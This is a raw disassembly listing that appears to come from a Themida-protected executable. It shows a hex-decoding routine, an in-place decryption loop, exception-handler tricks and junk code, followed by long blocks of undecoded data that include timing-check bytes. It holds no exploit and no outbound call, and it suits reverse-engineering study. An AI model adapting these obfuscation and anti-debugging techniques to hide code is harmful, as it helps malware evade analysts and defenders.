mov dword ptr [ebp-0Ch], 0
jmp short loc_4F124F
; ---------------------------------------------------------------------------
loc_4F1205: ; CODE XREF: Themida_:004F1253j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_4F1227
cmp bl, 39h
ja short loc_4F1227
sub bl, 30h
jmp short loc_4F1249
; ---------------------------------------------------------------------------
loc_4F1227: ; CODE XREF: Themida_:004F121Bj
; Themida_:004F1220j
cmp bl, 61h
jb short loc_4F1239
cmp bl, 66h
ja short loc_4F1239
sub bl, 61h
add bl, 0Ah
jmp short loc_4F1249
; ---------------------------------------------------------------------------
loc_4F1239: ; CODE XREF: Themida_:004F122Aj
; Themida_:004F122Fj
cmp bl, 41h
jb short loc_4F1249
cmp bl, 46h
ja short loc_4F1249
sub bl, 41h
add bl, 0Ah
loc_4F1249: ; CODE XREF: Themida_:004F1225j
; Themida_:004F1237j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_4F124F: ; CODE XREF: Themida_:004F1203j
cmp dword ptr [ebp-0Ch], 2
jb short loc_4F1205
cmp dword ptr [ebp-10h], 0
jbe short loc_4F125F
mov eax, [ebp-10h]
stosb
loc_4F125F: ; CODE XREF: Themida_:004F1259j
inc dword ptr [ebp-8]
loc_4F1262: ; CODE XREF: Themida_:004F11F3j
cmp dword ptr [ebp-8], 2
jb short loc_4F11F5
add edx, 4
loc_4F126B: ; CODE XREF: Themida_:004F11EAj
cmp edx, [ebp-4]
jb loc_4F11EC
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4F127E: ; CODE XREF: start+62051j
mov ecx, 7000h
lea edi, [ebp+5E235D8h]
loc_4F1289: ; CODE XREF: start+62279j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_4F1289
mov eax, 48692121h
mov edx, 0F008F000h
sub edx, 0F0000000h
lea eax, [ebp+5E236D1h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sbb bx, 0D612h
push 0
push ebx
call sub_4F12CA
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_4F12CA proc near ; CODE XREF: start+622AEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_4F12CA endp
; ---------------------------------------------------------------------------
dw 6877h
dd 7C3DD53Bh, 0FC22B81h, 58Dh, 3462BB00h, 66603936h, 8B66DF8Bh
dd 2561C2h, 8BFFFFF0h, 66FF33CAh, 5A4D3881h, 0B70F0E75h
dd 0D0033C50h, 45503A81h, 8740000h, 10002Dh, 0E3EB4700h
dd 58F64h, 83000000h, 958D04C4h, 5E236E4h, 35FF6452h, 0
dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh
dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
dd 0
dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
dd 0E236EFEDh, 0AD858D05h, 8905E236h, 0B881h, 33595D00h
dd 6496C3C0h, 58Fh, 0C4830000h, 12E904h, 94D70000h, 0FE7CE4EAh
dd 43BA0BFCh, 98C63A42h, 0A1A8FCD5h, 8C668AB7h, 56006AD9h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0E7F977EBh, 4E180BAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 5EC35545h, 0C959CFCDh, 806AE916h, 10E9CCC7h
dd 14000000h, 116916Ch, 4A0078F0h, 0E69B8086h, 0A3BD7AAh
dd 74850FC9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0DFF3C357h, 14F18769h
dd 9E8h, 0B09DAA00h, 0D2DECE9Dh, 0BF0F064Fh, 85C75BDEh
dd 5E200B9h, 1, 0E38166FCh, 37E9EFFDh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 8DF3C350h, 7B63FDF9h, 236BFEEh, 5C9DB960h, 0C7615FDDh
dd 0E200B985h, 5, 8589F900h, 5E2262Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 52C35646h, 8B6652B3h, 0A18589D9h
dd 0E805E216h, 8, 0E5EAF73Fh, 5BFC2ECCh, 2EA4D381h, 0F587230h
dd 383h, 0DE8B6600h, 5992C081h, 60560000h, 0D5EF8166h
dd 61595249h, 0E31BA5Bh, 0EA8119F6h, 19F5F809h, 0AE8h
dd 9E881800h, 22C15E4Dh, 5EB6FA8Ch, 0B70F088Bh, 2AE981DAh
dd 0BB79FE08h, 1D0B86E4h, 2453C181h, 0DF810E36h, 3DB92272h
dd 86D4E981h, 5E92933h, 0FA000000h, 7218B42h, 0CE851h
dd 28170000h, 11DCC0E0h, 9B055134h, 8F5B89F5h, 0CE900h
dd 0FEEB0000h, 0FAA8AF51h, 0A75C00DAh, 0E883D29Eh, 0AE902h
dd 894A0000h, 610A9549h, 82F25739h, 0BF0F4848h, 1EA81DFh
dd 0F000000h, 2685h, 9E900h, 64A00000h, 64D430C0h, 0E901F2C4h
dd 2Ah, 27B90E24h, 9FAE40A4h, 36F1D905h, 0FFE7A49Ch, 8B283321h
dd 0FF5EE9D8h, 0FBFAFFFFh, 0C38BD495h, 3C2F452h, 4E67242Dh
dd 5E834B1h, 0B1000000h, 31840AF6h, 0D7BF0F5Bh, 70DCC381h
dd 60600000h, 0EB65C881h, 35B6678Bh, 0C68B6661h, 7B20BF61h
dd 0EF8149C8h, 49C85F08h, 33FFF38Bh, 59D38B66h, 0B000C181h
dd 0C68065DEh, 79E981B0h, 665EBE40h, 0F181F18Bh, 31CDFDF9h
dd 50DE77B8h, 8B0B8945h, 1EB83C2h, 14E9h, 0A3AC0D00h, 5B7F58F1h
dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 4B4B4B6Bh, 4F9FE480h
dd 0FFB0850Fh, 0F6B8FFFFh, 0E90871DBh, 705h, 128E0Fh, 0E9600000h
dd 9, 4CD568C1h, 0DDD55BECh, 615F533Ah, 217h, 5E232F1h
dd 85890000h, 5E21E79h
dword_4F16A4 dd 0CE96060h, 34000000h, 6BC44B9Fh, 8030CCE7h, 231E5025h
; DATA XREF: Themida_:004F08CCo
dd 0E218C995h, 0B86105h, 89000000h, 0E22D6985h, 24548B05h
dd 1870F28h, 0F9000000h, 1898589h, 850F05E2h, 0Ch, 6870Fh
dd 0B5090000h, 5E20A7Dh, 33298D29h, 3CBE05E2h, 89000000h
dd 0E224BDBDh, 24740305h, 0F5B58924h, 3105E200h, 0E21B9DB5h
dd 9AD6605h, 0E2327585h, 1870F05h, 0F9000000h, 24244403h
dd 0DE9h, 92422B00h, 38D464E4h, 6493F3BDh, 50F5C795h, 52505250h
dd 8C0Fh, 310F0000h, 585A6160h, 5E9310Fh, 4B000000h, 2D6C7037h
dd 489585Ah, 6D850124h, 8B05E223h, 9D897840h, 5E2185Dh
dd 28244403h, 68B0Fh, 0BD010000h, 5E2090Dh, 0CE9h, 0BB2F9100h
dd 3C2C1963h, 2F86C39Fh, 18408BE6h, 14820Fh, 0FE90000h
dd 0AA000000h, 8B2CD93h, 930F4D09h, 2F6E49C0h, 94056BEh
dd 0E22CDDB5h, 11BD0105h, 8905E22Bh, 0E239DD85h, 8589F505h
dd 5E20C75h, 0FE958h, 19370000h, 0EF63D148h, 0C8B69423h
dd 0A89A1317h, 78708BBFh, 1CC683F9h, 247403F9h, 0BD8DF824h
dd 5E20C69h, 830FADF9h, 17h, 12E9h, 6DF99D00h, 0EC12C3CBh
dd 125EECA1h, 2AB413B9h, 3B696DEh, 29242444h, 0E20C2D95h
dd 9529AB05h, 5E22365h, 2991BD8Dh, 896005E2h, 0E22125BDh
dd 0D2BF0F05h, 810FAD61h, 6, 1B65BD89h, 440305E2h, 8D292424h
dd 5E2190Dh, 0BE9h, 8CF4C400h, 1892EEE4h, 2297FACFh, 88A0F50h
dd 60000000h, 0B9666160h, 8961FA11h, 0B5092404h, 5E20411h
dd 7880Fh, 0F600000h, 5B51C3BFh, 5E9AB61h, 0D4000000h
dd 7D16E5B4h, 2C71BD8Dh, 0ADF905E2h, 244403F8h, 0FE928h
dd 0EC150000h, 2F3BAA72h, 6CBB1A85h, 80141FCEh, 0B98D0919h
dd 0AB05E224h, 0AE9h, 0B18E8E00h, 74B72874h, 5EE2D406h
dd 58565760h, 0AE96059h, 46000000h, 0E33EF3B2h, 5412BB20h
dd 0E2E980CCh, 8DFF6161h, 5E239DDh, 39DDBD83h, 750005E2h
dd 2444C710h, 1Ch, 4FB58D00h, 0FF05E23Eh, 3AD56E6h, 97282444h
dd 858ADF8Bh, 5E20A49h, 474C084h, 4C75073Ah, 0AEC03257h
dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h
dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 18985FFh
dd 6FE905E2h, 5EFFFFFFh, 0AA99D31h, 0DE905E2h, 0AD000000h
dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 2111BD89h, 858B05E2h
dd 5E20189h, 89E0D1F9h, 0E200ADB5h, 71850305h, 3105E22Ch
dd 0E21E89B5h, 1F62B05h, 0E208CD85h, 860F9605h, 1, 1AD66F8h
dd 0E20C3595h, 11E905h, 4BB30000h, 0AFDDA808h, 39EF1924h
dd 1770A865h, 0C18C3C4Bh, 0AE902E0h, 0D000000h, 0EFACF9DAh
dd 414662B2h, 698503A9h, 0FC05E20Ch, 60606096h, 820F61h
dd 61000000h, 0FE9h, 228A2F00h, 55E4C9C7h, 0E311BDFh, 7C3B613Ch
dd 8E9AD61h, 0E4000000h, 9489BFE7h, 8B192714h, 0FC24244Ch
dd 24244403h, 7E9h, 0F014CF00h, 75DEFB95h, 1C244489h, 0E9B58B60h
dd 6605E210h, 61C3FBBFh, 0E9ACF896h, 6, 839791EFh, 0C9323061h
dd 18E18D01h, 0C1FE05E2h, 13CDBD89h, 0D0D005E2h, 0AC830Fh
dd 8C0F0000h, 0Bh, 618D8B60h, 8005E21Ah, 0D061B5D3h, 93830FD0h
dd 0E9000000h, 0Eh, 8C0459B0h, 9A277F14h, 0CB4AEF94h, 0D0D01996h
dd 78820Fh, 0D0F50000h, 6F820FD0h, 89000000h, 0E22651BDh
dd 0FC9FE05h, 0FFFFAD89h, 0FDB589FFh, 8305E20Ch, 810F20C4h
dd 0Ch, 68C0Fh, 850F0000h, 0
dd 0B8F0Fh, 80600000h, 8589B6EFh, 5E216FDh, 2444C761h
dd 0FCh, 880F6000h, 0
dd 16B59D89h, 0B86105E2h, 1, 0D759501h, 8D8D05E2h, 5E27219h
dd 10D59589h, 0E1FF05E2h, 1E799589h, 85C605E2h, 5E20A49h
dd 0CE900h, 0E3B10000h, 0D6F3EA3Dh, 6C1DD919h, 0EE9A9E8h
dd 9D000000h, 94D8276Dh, 193CE615h, 0B64ED257h, 0C2F961D2h
dd 85090008h, 5E224C1h, 5E950h, 0ED990000h, 895BC25Ch
dd 12E92434h, 15000000h, 4B272655h, 5B36162Ch, 0AF2057A7h
dd 0A938F041h, 72B58953h, 0F505E240h, 40A68D89h, 9D8905E2h
dd 5E20BD5h, 3EFCB58Dh, 0BD0105E2h, 5E20165h, 14458501h
dd 858D05E2h, 5B7E35h, 10860Fh, 0BE90000h, 23000000h, 0CC3B114Dh
dd 77146424h, 0D0FF84D8h, 31018D29h, 0F55E05E2h, 0C19589C3h
dd 8B05E207h, 0E24072B5h, 0B58D8905h, 6005E215h, 8AD7B70Fh
dd 8D8B61F8h, 5E240A6h, 21B98529h, 0B805E2h, 31000000h
dd 0E2138DBDh, 0F9D98B05h, 12DE9h, 1820F00h, 0FC000000h
dd 830F2632h, 1Eh, 3DB58B60h, 0E805E224h, 10h, 536221ACh
dd 0D3FA9ACh, 7E0FE25Ch, 0C1230ADFh, 8D29615Bh, 5E210E1h
dd 853102B2h, 5E2232Dh, 0BBE9h, 10E900h, 3480000h, 43484B73h
dd 24122B48h, 528ABF52h, 0C2322595h, 8890Fh, 0F600000h
dd 85h, 50606100h, 13E9h, 5C3D7500h, 0DF2EC1B2h, 0C51A07FAh
dd 29079FA0h, 85F945A7h, 7A05615Bh, 0F8A751Dh, 0E87h, 0B58B6000h
dd 5E229BDh, 8C0Fh, 60610000h, 9E8h, 27D4A100h, 0A3B6F159h
dd 0D3810D83h, 31516042h, 6128B45Ah, 8E9CC8Ah, 78000000h
dd 50E32E5Dh, 0D307194Ch, 0CE9C8h, 56330000h, 0D9CB338Ah
dd 0BC5B35CFh, 4235556Fh, 0E998D108h, 0Fh, 438E7049h, 0B17624F6h
dd 0DE62DACCh, 0FEFA62DEh, 6E9CAh, 0ECAD0000h, 6C88C62Ah
dd 850FD20Ah, 0FFFFFF52h, 7E9h, 0D88EB700h, 6CBC6AA5h
dd 8166604Bh, 8939B6E8h, 0E20FD59Dh, 0E9466105h, 0Ah, 0DA093F45h
dd 4259C6FDh, 0DB0B2FE8h, 0FED2850Fh, 8E9FFFFh, 0AC000000h
dd 0E86F3909h, 0CFDC5312h, 0F0000FCh, 168Fh, 11E900h, 0EA9C0000h
dd 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h, 1E2783h, 0E8D0F00h
dd 60000000h, 305D958Bh, 8B0F05E2h, 0
dd 89000061h, 0E221ED9Dh, 60000005h, 0AE8h, 0D4BD600h
dd 72BFB30h, 0B58B8D25h, 0B58959CEh, 5E20B81h, 0ED858D61h
dd 0FC05E239h, 2C158589h, 800F05E2h, 1, 85858DF8h, 0FC05E23Eh
dd 0A880Fh, 66600000h, 78D5E781h, 61AFC880h, 1C798589h
dd 14EB05E2h, 4 dup(0)
dd 88h, 41C8858Dh, 858905E2h, 5E22639h, 4109BD83h, 0F0005E2h
dd 13484h, 4985C600h, 5605E20Ah, 26EB2D68h, 24348187h
dd 53398614h, 262DB5FFh, 858D05E2h, 5E239EDh, 8589D0FFh
dd 5E240FDh, 0A4985C6h, 685605E2h, 6626EA36h, 1C240481h
dd 0FF3681CEh, 0E2262DB5h, 0ED858D05h, 0FF05E239h, 18589D0h
dd 6A05E241h, 4E804h, 10000000h, 8B500000h, 8B042444h
dd 24448900h, 858B5804h, 5E2410Dh, 1F405h, 2E0C100h, 6A905090h
dd 195FF00h, 8905E241h, 0E2410585h, 0B8D88B05h, 0FFFFFFFFh
dd 263995FFh, 0C38B05E2h, 263995FFh, 96E905E2h
db 3 dup(0)
byte_4F1E7F db 83h ; DATA XREF: Themida_:004F02F0o
dd 0E24109BDh, 850F0005h, 1, 0BD8B57C3h, 5E24105h, 58583ABh
dd 405E241h, 0BD83C35Fh, 5E24109h, 1850F00h, 0C3000000h
dd 5AD8360h, 405E241h, 41059D8Bh, 7B8305E2h, 850FFFFCh
dd 26h, 4E8h, 800000h, 448B5000h, 8B0424h, 4244489h, 0FF006A58h
dd 0FD95FF33h, 6105E240h, 26E9C3h, 4E80000h, 0
dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h
dd 0E240FD95h, 5AD8305h, 405E241h, 0FFFF9FE9h, 0D3E948FFh
dd 60000009h, 908EF4E8h, 8B9C818h, 0AEAD6952h, 5E588282h
dd 1309AAFBh, 3DD323FFh, 4018F4CDh, 3DCF23F4h, 9B83F4CEh
dd 1AB1C45Ah, 0BFFE3B45h, 511D8590h, 636AC5B0h, 20C729F5h
dd 404AF8CCh, 32C921F4h, 8183F4CDh, 0ACDB5Ah, 0A3E03B5Ah
dd 450A9E8Eh, 5709AEBEh, 20C33EB9h, 4118B5DDh, 26C934BAh
dd 879AF4DBh, 0EACDA15h, 355Ah, 62h dup(0)
dd 60000000h, 9A87F4E8h, 0AAD414h, 0B4FD3B45h, 5D0A968Ch
dd 520FEFF3h, 36C46CEAh, 534ABACCh, 37C838F5h, 9B9FA689h
dd 8B0D414h, 0E6E37217h, 4E0D9E9Ah, 401EBCBEh, 7DCB29EDh
dd 593AD9A3h, 36D52CFFh, 9B9FF485h, 0BBFD216h, 0E6F97217h
dd 51178385h, 5E02A2BEh, 73DF3EF6h, 150EBAC8h, 27D528E8h
dd 0D59EA6C8h, 1DABD203h, 0A9FF6B17h, 51198384h, 0B0h
dd 47h dup(0)
dd 60000000h, 8789F4E8h, 0AB5DE1Bh, 0E6FE3C45h, 50179E97h
dd 4006A7BEh, 36C32EB9h, 5A0CF4C7h, 73C223EFh, 9B84A1DBh
dd 4FB9D313h, 0BFAD755Eh, 1C0A848Ch, 4714B6EDh, 598821FCh
dd 500684A4h, 7FC33EFBh, 9984A189h, 4FBADC15h, 0A0AD6F5Eh
dd 1C159E91h, 5C0AAAF3h, 328635EBh, 474AB0C7h, 32D23EFFh
dd 8CCAA0DBh, 4FACC815h, 0A1E26947h, 12159091h, 61h dup(0)
dd 60000000h, 9086BDEFh, 1DB1DE5Ah, 0B2FD6E45h, 12599586h
dd 5A0F9BBEh, 21D66CEAh, 5418B3C6h, 32CE6DF7h, 9088F4DAh
dd 2FED31Fh, 0B6E47556h, 48199D96h, 5247ABFBh, 3E8628F7h
dd 5008ADC8h, 27CF4090h, 9CCAA78Eh, 0CBBDB14h, 0E6E97E43h
dd 5D588881h, 410E99BEh, 3C863FECh, 4709F4DBh, 36CD2EFBh
dd 0A1CAFACDh, 4FADD412h, 0A3E17251h, 521786C3h, 4447BBB9h
dd 73CD3EF6h, 5813BAC8h, 7DC33FF5h, 0E0h dup(0)
dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0)
dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
dd 3AE90000h, 8900002Fh, 0E2077D85h, 9D0BFC05h, 5E200BDh
dd 0BA34BB66h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 0B9E0B7C3h, 68D0Fh, 9D8B0000h, 5E20CEDh
dd 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h, 53501374h, 1B8C08Bh
dd 8D000000h, 0E4B19C9Dh, 5BD3FF05h, 5BD8358h, 5E218h
dd 53501174h, 1B8h, 4D9D8D00h, 0FF05E4B0h, 50585BD3h, 1FAD9D8Bh
dd 6A5A05E2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 3C6DC356h, 5330F84Eh, 0C08B5BF5h
dd 1DBD83F8h, 5E225h, 19E840Fh, 958B0000h, 5E20425h, 1009BD83h
dd 0F0005E2h, 18B84h, 558D8900h, 6005E217h, 0A5CFCA81h
dd 858B116Eh, 5E21009h, 18F19589h, 0B70F05E2h, 3E805D8h
dd 95290000h, 5E21D1Dh, 2890F90h, 8A000000h, 8B0F50FAh
dd 0Dh, 6E960h, 78740000h, 0E55DB9B4h, 0E3809061h, 1E858D53h
dd 905E24Ch, 0E21F91B5h, 36B35005h, 31240489h, 0E2315585h
dd 0FC858D05h, 0F905E24Bh, 0F48A6090h, 61D68B66h, 56606050h
dd 5E95Ah, 15F20000h, 619044B4h, 52505250h, 2 dup(585A310Fh)
dd 0D38B9061h, 2C2995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0DBDDBCC3h, 8C81F875h
dd 0FC492EE3h, 0DF8B7AB2h, 660CC483h, 0E960DA8Bh, 0Dh
dd 0B6A6D43Ah, 3571D8FAh, 795140EDh, 14E8F8h, 0C7690000h
dd 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h, 8589F09Dh
dd 5E22AD9h, 858D615Fh, 5E24BFCh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 77C35040h, 8B665050h, 4895ADEh
dd 819D8B24h, 6A05E22Ah, 9D9D2B02h, 6005E208h, 2C79BD89h
dd 31BF05E2h, 61329107h, 857495FFh, 6A0068h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B9A621C3h
dd 5B095CFh, 0B2FCA534h, 6A619Eh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0D18BC8C3h, 4C2F85C7h
dd 105E2h, 8D890000h, 5E2054Dh, 10E950h, 51D60000h, 53312637h
dd 4B7DDBE5h, 0AC8374E2h, 3489A5B9h, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 851A473Bh
dd 0D88B6047h, 8E9h, 0EECEED00h, 75947854h, 0B589617Bh
dd 5E24BE0h, 0FDEBF0Fh, 0BD83DBBFh, 5E200B9h, 42850F01h
dd 89000000h, 0E217698Dh, 5F88305h, 33850Fh, 0B70F0000h
dd 0B8D8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 9CD4A8C3h, 7DCA1BC2h, 0B5015724h
dd 5E21035h, 81BD835Ah, 5E204h, 28840Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 3D3F99C3h, 0B8832Eh, 0F000000h, 8B60D2B7h, 0E20E3995h
dd 35858B05h, 8B05E21Fh, 0E21F4D9Dh, 2C08305h, 1345B531h
dd 8F0F05E2h, 0
dd 4BD88589h, 9D8B05E2h, 5E217A9h, 9FF00C6h, 0E205C98Dh
dd 4985C605h, 5305E20Ah, 85858951h, 5B05E20Ch, 4A2ED68h
dd 4FB860C3h, 0E911AB64h, 8, 2BCB7564h, 0B345A1B7h, 24348161h
dd 3FB5EA35h, 0DE9h, 0AD0D7600h, 8A7314F0h, 5C3D758Eh
dd 0B5FFC1B2h, 5E216A1h, 8AD9D8Bh, 858D05E2h, 5E57A61h
dd 0A19503h, 0D0FF05E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0F0C35343h, 0B378C933h, 13E8h, 4D751E00h
dd 3475BF43h, 0FABA70D5h, 831DE6D4h, 0CCB3CFA7h, 0E85AACB2h
dd 0Dh, 4F285CF3h, 1D74245Ch, 0AFF9EF59h, 62F38180h, 5B28913Ah
dd 0AB98589h, 858905E2h, 5E22AEDh, 1D29BD83h, 0F0105E2h
dd 0AF85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 890FE5E3h, 6, 10A98589h, 0C66105E2h
dd 0E20A4985h, 4E84505h, 0C2000000h, 0E9DA6038h, 10h, 0D3DE31CBh
dd 43C6C7D9h, 992A816Eh, 8544C777h, 8B87B650h, 60042444h
dd 8B665250h, 5A310FD0h, 8B6158h, 4489DF8Bh, 830F0424h
dd 8, 28C0Fh, 28B60000h, 0FFDF8B58h, 0E216A1B5h, 6850F05h
dd 31000000h, 0E204A995h, 61858D05h, 6605E57Ah, 5137E281h
dd 0C780D0FFh, 89006A70h, 0E21EF18Dh, 66D0FF05h, 958BD78Bh
dd 5E22A89h, 219DBD83h, 0F0105E2h, 0BE85h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 60E8ADB5h, 1F35858Bh, 2B5605E2h, 0E20E259Dh, 51E95B05h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 66B4C356h, 0B514320Fh, 6F028764h
dd 0DE8B6690h, 2931BB50h, 0F906CA6h, 146AD1BFh, 9B589h
dd 95FF05E2h, 5E20AB9h, 8E9h, 0C13B3400h, 66750115h, 0FD8A58AEh
dd 0F003880h, 0FFFFCB85h, 0BD0150FFh, 5E207A5h, 100C65Ah
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8CC35545h
dd 800F0AC6h, 3, 61D9BF0Fh, 0B1BD83F5h, 5E219h, 4B840Fh
dd 0C6800000h, 51D2818Eh, 6A789997h, 519D2BFFh, 0FF05E21Bh
dd 0E20AB995h, 85F38105h, 2308CDA5h, 0E219799Dh, 0FFE1E905h
dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 6218CFC3h, 0B5CA8166h, 0B185C79Fh, 105E219h
dd 80000000h, 858990DFh, 5E24BE4h, 0B318589h, 0BA6605E2h
dd 8B90036Fh, 525050D8h, 310FDE8Ah, 5AD08B66h, 0BA669058h
dd 89603D35h, 0E214C5B5h, 52056A05h, 94B35AFCh, 4BFC858Dh
dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 7D94A0C3h, 0B5559A1Eh, 0D08BD88Bh, 5838BB50h
dd 4893DBCh, 0D18B6624h, 4BEC858Dh, 958B05E2h, 5E2217Dh
dd 505BFC50h, 15890F60h, 0E9000000h, 10h, 47763251h, 0B34A27EFh
dd 0EBDAE7D9h, 0B7F581F3h, 24048961h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0F0C35040h, 0FE85Ch, 89370000h
dd 919B619Ch, 55FFBBABh, 0E169E1F8h, 14E9A8h, 86C80000h
dd 74459816h, 0E735331Ch, 0CC942126h, 5FD18C2Fh, 0FF5A38A9h
dd 0E2112D95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 8A0F73DEh, 3, 0F04E780h
dd 0C87h, 68A0F00h, 89000000h, 0E2216185h, 0F38D8D05h
dd 0FC05E27Ah, 1174C00Bh, 4BFC858Dh, 0FF5005E2h, 1A8589D1h
dd 0EB05E24Ch, 1A85C70Ah, 0FF05E24Ch, 60FFFFFFh, 0F7BF0F52h
dd 19858B58h, 6105E218h, 75B58B60h, 6105E21Ch, 8ADEB70Fh
dd 0EB8161D0h, 1BEB7FABh, 0A4985C6h, 814D05E2h, 3413A9D2h
dd 5F516876h, 4813056h, 0DF175724h, 55958973h, 0FF05E231h
dd 0E21635B5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0EE111661h, 0E1219D75h
dd 858D5670h, 5E57A61h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 46C35242h, 81663BF7h, 0FFDE61CAh, 0DFCA80D0h
dd 2A6D8589h, 950105E2h, 5E215E5h, 0A4985C6h, 814505E2h
dd 0DDE237CBh, 4E8F952h, 69000000h, 608E7269h, 195FBF52h
dd 605813DFh, 0DA186BBEh, 0FE902h, 500C0000h, 62DFA61Fh
dd 99169F1h, 499ADA14h, 50616100h, 448B15B3h, 0D88B0424h
dd 0B0B2008Bh, 4244489h, 14860Fh, 0FE90000h, 96000000h
dd 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 6A58F2E4h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 87C5C355h, 1C93CB9Dh, 0B589FA20h, 5E22FD1h, 3F28166h
dd 0A1B5FF32h, 6A05E216h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 1CCEC356h, 0E459D06Dh
dd 0CFC68060h, 13C19D8Bh, 8D6105E2h, 0E57A6185h, 0D0FFF805h
dd 29B5958Bh, 858905E2h, 5E20405h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 4EC35646h, 0E5BC59B8h, 7D8D8960h
dd 6605E206h, 8B61D78Bh, 859D8BD2h, 8905E20Eh, 0E21F99BDh
dd 0D98C6605h, 18B0Fh, 0F6F90000h, 840F04C1h, 29Fh, 3810Fh
dd 0B70F0000h, 18BE9D2h, 0B58B0000h, 5E2234Dh, 5DD10BBAh
dd 80C6810Bh, 6A000011h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0FB8DC352h, 3FF30996h
dd 13E9h, 0D82A2600h, 292C94C1h, 0D470CF6Eh, 3653EC24h
dd 0A60C207Eh, 6890Fh, 8D290000h, 5E230F9h, 1FEDBD83h
dd 0F0005E2h, 5F85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0EBD57178h, 880FF084h
dd 6, 2C2DB529h, 852905E2h, 5E223A1h, 0E4E9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0D5DC642Ch, 0B58900A8h, 5E21481h, 0F003E83h, 0B484h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0B7F206EAh, 8D896045h, 5E2331Dh, 6A146Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 40C18CC3h, 0A14BEAE5h, 0B995FF11h, 5205E20Ah, 16B5B529h
dd 815B05E2h, 0CD3D6EEAh, 6A6164h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 911706C3h, 8368AFh, 0D19589AFh
dd 0E905E224h, 0FFFFFF68h, 8E960h, 5F9D0000h, 0FC189905h
dd 11E9511Dh, 0E8000000h, 304E84E9h, 13681F32h, 3E9D2075h
